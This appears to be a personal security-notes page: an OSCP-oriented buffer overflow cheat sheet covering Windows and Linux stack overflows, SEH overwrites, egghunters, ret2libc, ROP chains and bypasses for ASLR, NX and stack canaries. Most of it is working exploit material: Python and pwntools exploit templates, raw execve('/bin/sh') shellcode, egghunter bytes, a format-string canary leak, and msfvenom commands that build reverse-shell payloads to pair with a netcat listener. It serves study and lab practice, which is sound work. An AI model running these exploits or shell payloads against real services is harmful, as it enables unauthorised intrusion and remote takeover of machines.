ᛉ Yggdrasil

Binary

Buffer Overflow (x86/x64)

15 Sep 2026 · 4,308 words · 20 min

Contents

Legend: [WIN] = Windows target | [LIN] = Linux target | [x86] = 32-bit | [x64] = 64-bit | [GDB] = Run inside GDB debugger


1. Introduction — How BOF Works

What it means: A buffer overflow occurs when a program writes more data into a fixed-size buffer than it can hold, overflowing into adjacent memory. On the stack, this overwrites the saved return address (EIP/RIP) — the value the CPU uses to know where to return after a function call. If an attacker controls EIP/RIP, they control where the CPU jumps next.

Normal Stack Frame (x86):

┌─────────────────────────┐ High address  
│ Function Arguments      │  
├─────────────────────────┤  
│ Saved EIP (ret addr)    │ ← We want to OVERWRITE this  
├─────────────────────────┤  
│ Saved EBP               │  
├─────────────────────────┤  
│ Local Variables /       │  
│ Buffer                  │ ← We WRITE into this  
└─────────────────────────┘ Low address (ESP points here)

Overflowed Stack:
Buffer + "AAAA" * N → overwrites EBP → overwrites EIP
↓
CPU jumps to OUR address
(e.g., JMP ESP → shellcode)

Registers (x86 vs x64)

Purpose x86 x64
Instruction Pointer EIP RIP
Stack Pointer ESP RSP
Base Pointer EBP RBP
Return Value EAX RAX
1st Argument Stack RDI
2nd Argument Stack RSI
3rd Argument Stack RDX
4th Argument Stack RCX

Key Concepts

Term Meaning
EIP/RIP Instruction pointer — controls where CPU executes next
ESP/RSP Stack pointer — top of the stack
Offset Number of bytes before EIP/RIP is overwritten
Bad chars Bytes that corrupt the payload (e.g., \x00 = null terminator)
JMP ESP Assembly instruction — jump to address in ESP (where shellcode sits)
NOP sled \x90 bytes before shellcode — CPU slides into shellcode
Shellcode The payload code — reverse shell, calc.exe, etc.

2. Tools & Setup

2.1 Debugging Tools

# Windows
# - Immunity Debugger (x86, most common for OSCP)
#   https://www.immunityinc.com/products/debugger/
# - x64dbg / x32dbg (modern, supports both x86 and x64)
#   https://x64dbg.com
# - WinDbg (Microsoft — advanced)

# Linux
# - GDB with PEDA/GEF/pwndbg extensions
sudo apt install gdb

# GEF (recommended)
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# pwndbg (alternative)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# PEDA
git clone https://github.com/longld/peda.git ~/.peda
echo "source ~/.peda/peda.py" >> ~/.gdbinit

2.2 mona.py (Immunity Plugin)

# mona.py — automates finding offsets, bad chars, JMP ESP, ROP gadgets
# Download: https://github.com/corelan/mona

# Copy to Immunity's PyCommands folder:
# C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\

# Usage in Immunity command bar:
!mona config -set workingfolder C:\mona\%p
!mona pattern_create 3000
!mona pattern_offset EIP_VALUE
!mona bytearray -b "\x00"
!mona compare -f C:\mona\bytearray.bin -a ESP_ADDRESS
!mona jmp -r esp -cpb "\x00"
!mona rop -m "*.dll" -cpb "\x00"

2.3 Python Skeleton Scripts

#!/usr/bin/env python3
# fuzzer.py — find approximate crash size
import socket, sys, time

ip   = "TARGET_IP"
port = TARGET_PORT

payload = b"A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        print(f"[*] Sending {len(payload)} bytes")
        s.send(payload)
        s.recv(1024)
        s.close()
        time.sleep(1)
        payload += b"A" * 100
    except Exception as e:
        print(f"[+] Crash at ~{len(payload)} bytes")
        sys.exit()
#!/usr/bin/env python3
# exploit.py — base exploit template
import socket

ip   = "TARGET_IP"
port = TARGET_PORT

offset = 0          # fill after finding offset
ret    = b"\x00\x00\x00\x00"   # JMP ESP address (little-endian)
padding = b"\x90" * 16         # NOP sled
shellcode = b""    # paste msfvenom output here

buf  = b"A" * offset
buf += ret
buf += padding
buf += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(buf)
s.close()

2.4 pwntools (Linux BOF)

from pwn import *

# Connect to local binary or remote
p = process('./vulnerable')         # local
p = remote('TARGET_IP', PORT)       # remote

# Interact
p.recvuntil(b"Enter: ")
p.sendline(payload)
p.interactive()

# Cyclic pattern
pattern = cyclic(200)               # generate pattern
offset  = cyclic_find(0x61616161)   # find offset from crash value

# Build payload
payload = b"A" * offset + p32(ret_addr) + shellcode   # x86
payload = b"A" * offset + p64(ret_addr) + shellcode   # x64

# Pack addresses
p32(0xdeadbeef)   # little-endian 32-bit
p64(0xdeadbeef)   # little-endian 64-bit

3. x86 Stack-Based BOF (Windows)

What it means: The classic OSCP buffer overflow. A Windows x86 application takes user input, copies it into a fixed-size buffer without bounds checking, and crashes. Your goal is to:

  1. Find the crash size
  2. Find the exact offset to EIP
  3. Find bad characters
  4. Find a JMP ESP gadget in a non-ASLR/DEP module
  5. Generate shellcode and exploit

Step 1 — Fuzz the Application

# Send increasing sizes of data until the app crashes
# Run in Immunity Debugger — watch EIP become 0x41414141 (AAAA)

import socket, time

for size in range(100, 5000, 100):
    payload = b"A" * size
    try:
        s = socket.socket()
        s.connect(("TARGET_IP", PORT))
        s.recv(1024)
        s.send(payload + b"\r\n")
        s.close()
        time.sleep(0.5)
        print(f"Sent {size}")
    except:
        print(f"[+] Crashed at {size}")
        break

Step 2 — Find the Exact Offset

# Generate a cyclic pattern (Metasploit)
msf-pattern_create -l 3000

# OR mona:
# In Immunity: !mona pattern_create 3000

# Send the pattern as payload
# When it crashes, note the value in EIP register

# Find offset
msf-pattern_offset -l 3000 -q EIP_VALUE
# Example: EIP_VALUE = 386F4337 → offset = 1978

# OR mona:
# !mona pattern_offset 386F4337

Step 3 — Confirm EIP Control

offset   = 1978  # from step 2
payload  = b"A" * offset
payload += b"B" * 4      # should overwrite EIP → 0x42424242
payload += b"C" * 500    # goes onto stack (ESP area)

# In Immunity — EIP should be 42424242, ESP should point to "CCCC..."

Step 4 — Find Bad Characters

# Generate all bytes except \x00 (always bad)
badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload  = b"A" * offset
payload += b"B" * 4       # EIP placeholder
payload += badchars

# Send, then in Immunity right-click ESP → Follow in Dump
# Look for any byte that is MISSING or looks corrupted — that's a bad char

# mona method (more reliable):
# !mona bytearray -b "\x00"          ← generate reference array
# Send payload, crash, then:
# !mona compare -f C:\mona\bytearray.bin -a <ESP_ADDRESS>
# mona will highlight bad characters automatically

Step 5 — Find JMP ESP Address

# In Immunity — find a module without ASLR/DEP protections
# Look for modules with Rebase=False, SafeSEH=False, ASLR=False, NXCompat=False

!mona modules
# Find a module with all False (often a DLL shipped with the app, not Windows DLL)

# Find JMP ESP (opcode \xff\xe4) in that module
!mona jmp -r esp -m "module_name.dll" -cpb "\x00\x0a\x0d"
# -cpb = exclude bad characters from the address

# Note the address e.g.: 0x625011AF
# Convert to little-endian: b"\xaf\x11\x50\x62"

# Alternative: Find JMP ESP across all modules
!mona jmp -r esp -cpb "\x00"

Step 6 — Generate Shellcode

# Windows reverse shell — exclude bad characters
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python \
  -v shellcode

# Stageless (no meterpreter dependency)
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=4444 \
  -b "\x00" \
  -e x86/shikata_ga_nai \
  -f python

# Windows Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<YOUR_IP> LPORT=4444 \
  -b "\x00" -f python

Step 7 — Final Exploit

#!/usr/bin/env python3
import socket

ip   = "TARGET_IP"
port = TARGET_PORT

offset   = 1978
ret      = b"\xaf\x11\x50\x62"   # JMP ESP address (little-endian)
padding  = b"\x90" * 16           # NOP sled — helps land in shellcode

# msfvenom output here
shellcode  = b""
shellcode += b"\xfc\xbb\x5e\x78\x90\x29\xd9\xeb\xd9\x74\x24"
# ... (paste full shellcode)

buf  = b"A" * offset
buf += ret
buf += padding
buf += shellcode

s = socket.socket()
s.connect((ip, port))
print(s.recv(1024))
s.send(buf + b"\r\n")
s.close()
# Set up listener before running exploit
nc -lvnp 4444

4. x86 Stack-Based BOF (Linux)

What it means: Linux BOF is similar to Windows but uses GDB for debugging, ELF binaries, and the calling convention passes arguments on the stack (x86). Main differences: no Immunity/mona, use GDB+GEF/pwndbg, find gadgets with ROPgadget, and protections differ.


Setup — Check Protections

# Check binary protections
checksec --file=./vulnerable
# OR (with pwntools):
pwn checksec ./vulnerable

# Output to understand:
# RELRO:    Full/Partial/No  → affects GOT overwrite
# Stack:    Canary found     → stack canary present (hard to bypass)
# NX:       enabled          → no shellcode execution (needs ROP/ret2libc)
# PIE:      enabled          → ASLR for the binary itself
# ASLR:     check with: cat /proc/sys/kernel/randomize_va_space
#                        0 = disabled, 2 = enabled

# Disable protections for practice
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space   # disable ASLR
# Compile without protections:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

Find Offset with GDB + GEF

gdb ./vulnerable

# Generate cyclic pattern
gef> pattern create 200

# Run with pattern
gef> run <<< $(python3 -c "print('Aa0Aa1Aa2Aa...')")
# OR
gef> run
# (paste pattern at input prompt)

# After crash — find offset
gef> pattern search $eip      # x86
gef> pattern search $rsp      # x64 (RSP has the pattern)

# OR use info registers to get EIP value then:
gef> pattern offset 0x61616164

Find Shellcode Address

# Check where ESP points after crash — our shellcode goes here
gef> info registers esp
gef> x/20x $esp        # examine memory at ESP

# Find /bin/sh string for ret2libc
gef> find 0x08048000, 0x09000000, "/bin/sh"

# Find system() address
gef> p system
gef> p exit

Linux x86 Exploit — No NX (execstack)

from pwn import *

p = process('./vulnerable')

offset   = 112     # from GDB pattern search
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
           b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
           # execve("/bin/sh", NULL, NULL) - x86 Linux

# Find exact ESP after offset — set ret to esp+offset or use NOP sled
ret      = p32(0xffffcfb0)  # ESP address from GDB (no ASLR)
nop_sled = b"\x90" * 100

payload  = b"A" * offset
payload += ret
payload += nop_sled
payload += shellcode

p.sendline(payload)
p.interactive()

5. SEH-Based BOF (Windows)

What it means: Some Windows applications use Structured Exception Handling (SEH) — a mechanism that catches crashes. When a standard BOF overwrites EIP and crashes, the SEH handler runs. If you overwrite the SEH handler's address (nSEH + SEH), you can hijack execution via a POP POP RET gadget to redirect to your shellcode.

SEH Chain on Stack:

┌─────────────────┐  
│ nSEH (4 bytes)  │ ← short jump to shellcode (\xeb\x06\x90\x90)  
├─────────────────┤  
│ SEH (4 bytes)   │ ← address of POP POP RET gadget  
├─────────────────┤  
│ Shellcode       │ ← after the short jump  
└─────────────────┘

SEH BOF Steps

# Step 1: Fuzz until crash, just like standard BOF

# Step 2: Generate cyclic pattern, send, crash
# In Immunity: View → SEH Chain (Alt+S)
# Note the nSEH and SEH values

# Step 3: Find offset to nSEH
!mona pattern_offset nSEH_VALUE

# Step 4: Find bad chars (same as standard BOF)

# Step 5: Find POP POP RET gadget
!mona seh -cpb "\x00\x0a\x0d"
# Finds a sequence: POP <reg>, POP <reg>, RET in a non-SafeSEH module
#!/usr/bin/env python3
import socket

ip   = "TARGET_IP"
port = TARGET_PORT

offset = 2000       # offset to nSEH

# Short jump over nSEH (6 bytes) to reach shellcode
nSEH = b"\xeb\x06\x90\x90"           # JMP SHORT +6 (skip to shellcode)
SEH  = b"\x43\x18\x40\x00"           # POP POP RET address (little-endian)

# Padding before nSEH
buf  = b"A" * offset
buf += nSEH                           # overwrites nSEH
buf += SEH                            # overwrites SEH handler
buf += b"\x90" * 16                  # NOP sled after SEH
buf += shellcode                      # reverse shell

s = socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(buf)
s.close()

6. Egghunter Technique

What it means: When the buffer space after EIP is too small to hold shellcode (< 400 bytes), use an egghunter. An egghunter is a tiny (~32 byte) piece of shellcode that scans all of virtual memory looking for a unique 8-byte tag (w00tw00t) that precedes your actual shellcode (stored elsewhere in memory from a previous large send). It then jumps to the real shellcode.


# Generate egghunter with mona
!mona egg -t w00t
# Outputs: 32-byte egghunter shellcode

# Alternatively, use pwntools or standard egghunter:
egghunter = (
    b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    b"\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
# Tag: w00t (repeated twice = w00tw00t)
#!/usr/bin/env python3
import socket

ip   = "TARGET_IP"
port = TARGET_PORT

tag = b"w00tw00t"  # 8 byte tag before real shellcode

# msfvenom shellcode
shellcode  = b""  # paste here

# Step 1: Send the real shellcode somewhere in memory (another buffer/field)
# Send the tag + shellcode to a field that stays in memory
early_payload = tag + shellcode
# (send this to another input field that gets buffered in memory)

# Step 2: Exploit the actual BOF with egghunter
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e..."

offset = 1978
ret    = b"\xaf\x11\x50\x62"   # JMP ESP

buf  = b"A" * offset
buf += ret
buf += b"\x90" * 8
buf += egghunter   # tiny shellcode that finds w00tw00t in memory

7. x64 Buffer Overflow

What it means: x64 BOF differs from x86 in several key ways:

  • Addresses are 8 bytes (not 4), and most addresses contain null bytes (\x00)
  • Function arguments are passed in registers (RDI, RSI, RDX, RCX) not the stack
  • RIP is controlled (not EIP)
  • Finding ROP gadgets is essential because of NX (DEP is almost always on in x64)
  • Stack alignment must be 16-byte aligned before system() calls

x64 Stack Alignment Issue

# x64 system() requires the stack to be 16-byte aligned
# If exploit crashes inside system() — add a RET gadget before the call
# This shifts RSP by 8 bytes to fix alignment

# Find a RET gadget:
# ROPgadget --binary ./vuln | grep ": ret"
# e.g.: 0x00000000004005a6 : ret

ret_gadget = p64(0x4005a6)   # add this before the system() call

x64 BOF — No PIE, No ASLR, NX Enabled (ret2libc)

# Step 1: Find offset to RIP
gef> pattern create 200
gef> run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'Aa0Aa1...')")
# After crash:
gef> pattern search $rsp   # in x64, the pattern ends up at RSP not RIP
from pwn import *

elf  = ELF('./vulnerable')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vulnerable')

# Find offset (number of bytes before RIP is controlled)
offset = 72   # from GDB pattern search

# Leak a libc address using puts() to bypass ASLR (if enabled)
# ret2plt technique to call puts(puts_got) to leak libc base

# If no ASLR:
system_addr  = p64(libc.symbols['system'])
bin_sh_addr  = p64(next(libc.search(b'/bin/sh')))
exit_addr    = p64(libc.symbols['exit'])

# Find: pop rdi ; ret gadget (load /bin/sh address into RDI)
pop_rdi = p64(0x0000000000401233)   # from ROPgadget output
ret_gad = p64(0x000000000040101a)   # for stack alignment

payload  = b"A" * offset
payload += ret_gad          # align stack
payload += pop_rdi          # gadget: pop rdi; ret
payload += bin_sh_addr      # RDI = "/bin/sh"
payload += system_addr      # call system("/bin/sh")
payload += exit_addr        # clean exit

p.sendline(payload)
p.interactive()

Find ROP Gadgets

# ROPgadget
ROPgadget --binary ./vulnerable | grep "pop rdi"
ROPgadget --binary ./vulnerable | grep ": ret"
ROPgadget --binary ./vulnerable | grep "pop rsi"
ROPgadget --binary libc.so.6 | grep "pop rdi"

# ropper
ropper --file ./vulnerable --search "pop rdi"
ropper --file libc.so.6 --search "pop rdi; ret"

# pwntools ROP builder
rop = ROP(elf)
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main'])
print(rop.dump())

8. Ret2libc / Return-Oriented Programming (ROP)

What it means: When NX (No-Execute) is enabled, you can't execute shellcode on the stack. Instead, you chain together existing code snippets (gadgets) already in the binary or libc — each ending in a RET instruction. This creates a "program" from existing instructions. Ret2libc is the simplest ROP attack: call system("/bin/sh") using libc's existing function.


Ret2libc — x86 Linux (Classic)

from pwn import *

p = process('./vulnerable')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

offset = 112

# With ASLR disabled:
system_addr = p32(libc.symbols['system'])
exit_addr   = p32(libc.symbols['exit'])
bin_sh_addr = p32(next(libc.search(b'/bin/sh')))

# x86 calling convention: args go on stack after return address
payload  = b"A" * offset
payload += system_addr    # overwrite EIP → call system()
payload += exit_addr      # return address for system() → call exit()
payload += bin_sh_addr    # first argument to system() = "/bin/sh"

p.sendline(payload)
p.interactive()

Bypass ASLR — Leak Libc Address (ret2plt)

from pwn import *

elf  = ELF('./vulnerable')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vulnerable')

rop  = ROP(elf)
offset = 72

# Step 1: Leak a libc address using puts(puts@got)
# puts is already in the binary's PLT — use it to print its own GOT address
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main'])   # return to main to run exploit again

payload  = b"A" * offset + bytes(rop)
p.sendlineafter(b"Enter: ", payload)

# Step 2: Parse the leaked address
p.recvuntil(b"\n")
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
print(f"[+] puts @ {hex(leak)}")

# Calculate libc base
libc.address = leak - libc.symbols['puts']
print(f"[+] libc base @ {hex(libc.address)}")

# Step 3: Now call system("/bin/sh") with correct addresses
rop2 = ROP(libc)
rop2.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])

payload2 = b"A" * offset + bytes(rop2)
p.sendlineafter(b"Enter: ", payload2)
p.interactive()

One_gadget (Easy Shell in Libc)

# one_gadget finds a single libc address that immediately gives you a shell
# (constraints: certain registers must be null or pointing to writable memory)
gem install one_gadget    # install
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Output:
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints: [r15] == NULL || r15 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# ...

# Try the gadget offsets in your exploit:
one_gadget_offset = 0xe3afe
payload = b"A" * offset + p64(libc.address + one_gadget_offset)

9. Protections & Bypasses

Protection Description Bypass Technique
ASLR Randomizes stack/heap/libc base addresses Leak address via format string or ret2plt; brute-force (32-bit only)
NX / DEP Stack/heap not executable — no shellcode ROP chains, ret2libc
Stack Canary Random value before return address — checked at function return Leak canary via format string; brute-force (fork servers)
PIE Binary itself is ASLR'd Leak binary address via format string or partial overwrite
RELRO Full GOT is read-only Can't overwrite GOT entries — target other write locations
SafeSEH Validates SEH handlers before calling Find non-SafeSEH module (app DLL, not Windows DLL)
CFG Control Flow Guard — validates indirect calls ROP chains that go through valid targets

Bypass Stack Canary — Format String Leak

# Format string vulnerability leaks canary from stack
# Canary is at a fixed position relative to the format string arg

# Fuzz format string position
for i in range(1, 50):
    payload = f"%{i}$p".encode()
    p.sendline(payload)
    print(f"[{i}] {p.recvline()}")
# When you see a value ending in \x00 (e.g., 0x4f7a1300)
# — that's likely the canary (always ends in null byte)

# Once you know the position (e.g., position 23):
p.sendline(b"%23$p")
canary = int(p.recvline(), 16)
print(f"[+] Canary: {hex(canary)}")

# Build payload with correct canary
payload  = b"A" * offset_to_canary
payload += p64(canary)           # preserve canary
payload += b"B" * 8              # overwrite saved RBP
payload += p64(ret_addr)         # overwrite RIP

10. GDB Cheat Sheet

# Launch
gdb ./binary
gdb -q ./binary         # quiet mode

# GEF commands
gef> start              # run and pause at main
gef> run                # run freely
gef> run <<< "AAAA"     # run with input
gef> run $(python3 -c "print('A'*200)")

# Breakpoints
gef> break main
gef> break *0x08048560
gef> info breakpoints
gef> delete 1           # delete breakpoint 1

# Execution
gef> continue           # continue execution
gef> next               # next line (step over)
gef> step               # step into
gef> nexti              # next instruction
gef> stepi              # step into instruction
gef> finish             # run until function returns

# Examine memory
gef> x/20x $esp         # 20 hex words from ESP
gef> x/20x $rsp         # x64
gef> x/s  0x804a000     # string at address
gef> x/i  $eip          # instruction at EIP
gef> x/20i main         # 20 instructions of main

# Registers
gef> info registers     # all registers
gef> p $eip             # print EIP value
gef> set $eip = 0x1234  # set register

# Backtrace
gef> bt                 # backtrace

# Search memory
gef> grep "/bin/sh"     # find string in memory
gef> search-pattern "/bin/sh"

# GEF extras
gef> checksec           # binary protections
gef> vmmap              # memory map
gef> heap               # heap info
gef> pattern create 200
gef> pattern search $esp

# pwndbg extras
pwndbg> cyclic 200
pwndbg> cyclic -l 0x61616164
pwndbg> rop --grep "pop rdi"

11. Immunity Debugger Cheat Sheet

Navigation

F9 = Run
F8 = Step over
F7 = Step into
F2 = Set breakpoint at selected instruction
Ctrl+G = Go to address
Ctrl+F = Find in disassembler

Views

Alt+E = Modules (DLL list — for finding JMP ESP)
Alt+S = SEH Chain
Alt+M = Memory map
Alt+K = Call stack

Right-click ESP → Follow in Dump (see stack contents)

Right-click EIP → Follow in Disassembler

mona commands (in command bar at bottom)

!mona config -set workingfolder C:\mona%p
!mona modules → list modules with protections
!mona pattern_create 3000 → generate cyclic pattern
!mona pattern_offset 0x386F4337 → find offset from EIP value
!mona bytearray -b "\x00" → generate bad char array
!mona compare -f bytearray.bin -a 0x01A1D630 → compare to find bad chars
!mona jmp -r esp -cpb "\x00\x0a\x0d" → find JMP ESP
!mona seh -cpb "\x00\x0a\x0d" → find POP POP RET for SEH
!mona rop -m "module.dll" -cpb "\x00" → find ROP gadgets
!mona egg -t w00t → generate egghunter


12. Complete BOF Methodology

STEP 1: FUZZ
└── Send increasing data sizes until crash
└── Note approximate crash size

STEP 2: FIND EXACT OFFSET
└── Generate cyclic pattern (msf-pattern_create or mona)
└── Send pattern, crash, read EIP/RIP
└── Calculate offset (msf-pattern_offset or mona pattern_offset)

STEP 3: CONFIRM EIP/RIP CONTROL
└── Send: "A"_offset + "B"_4 + "C"*500
└── EIP = 42424242 ✓, ESP points to "CCCC..." ✓

STEP 4: FIND BAD CHARACTERS
└── Send all bytes \x01-\xff after EIP
└── Follow ESP in dump — find missing/corrupted bytes
└── Repeat until all bad chars found
└── Note: \x00 is ALWAYS bad (null terminator)

STEP 5: FIND RETURN ADDRESS
Windows:
└── !mona jmp -r esp -cpb ""
└── Pick address from non-ASLR/SafeSEH module
└── Convert to little-endian
Linux (NX disabled):
└── Find ESP address from GDB (no ASLR)
└── Use as return address with NOP sled
Linux/x64 (NX enabled):
└── Use ROPgadget to find gadgets
└── Build ROP chain (ret2libc)

STEP 6: GENERATE SHELLCODE
└── msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=4444 -b "" -f python

STEP 7: ASSEMBLE & FIRE
└── payload = "A"*offset + ret_addr + NOP_sled + shellcode
└── Start listener: nc -lvnp 4444
└── Fire exploit
└── 🐚 Shell


13. Cheat Sheet

Quick Commands

# Generate cyclic pattern
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q EIP_VALUE

# msfvenom payloads
# Windows x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python

# Windows x86 Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python

# Linux x86 reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python

# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -b "\x00" -f python

# List formats
msfvenom --list formats

# List encoders
msfvenom --list encoders

# ROPgadget
ROPgadget --binary ./vuln --rop
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
ROPgadget --binary ./vuln | grep ": ret$"

# checksec
checksec --file=./vuln
pwn checksec ./vuln

# pwntools one-liner
python3 -c "from pwn import *; p=process('./v'); p.sendline(b'A'*112+p32(0xdeadbeef)); p.interactive()"

Shellcode Reference

# x86 Linux — execve("/bin/sh")
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# x64 Linux — execve("/bin/sh")
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

# NOP sled
nop_sled = b"\x90" * 100

# Breakpoint (for debugging — causes INT3)
int3 = b"\xcc"

Common Offsets Pattern

# x86 Windows exploit structure
payload  = b"A" * offset          # padding to EIP
payload += ret                    # JMP ESP address (little-endian)
payload += b"\x90" * 16          # NOP sled
payload += shellcode              # reverse shell

# SEH exploit structure
payload  = b"A" * offset          # padding to nSEH
payload += b"\xeb\x06\x90\x90"   # nSEH = short jump
payload += seh                    # SEH = POP POP RET
payload += b"\x90" * 16
payload += shellcode

# x64 ROP structure
payload  = b"A" * offset          # padding to RIP
payload += p64(ret_gadget)        # stack alignment
payload += p64(pop_rdi_gadget)    # pop rdi; ret
payload += p64(bin_sh_addr)       # "/bin/sh" address
payload += p64(system_addr)       # system()

This covers the full BOF spectrum — classic x86 Windows (OSCP style), Linux x86/x64, SEH overwrite, egghunting, ret2libc, ROP chains, and all major protection bypasses.

Key tips for your OSCP exam:

  • The OSCP BOF machine is almost always a Windows x86 classic stack BOF — follow Steps 1–7 exactly and you'll get it every time
  • Always use !mona compare for bad chars — manual inspection misses corrupted bytes
  • \x00\x0a\x0d are the most common bad chars — always start by excluding them
  • Add a time.sleep(2) after connect in your exploit — gives the app time to send its banner

← Binary top ↑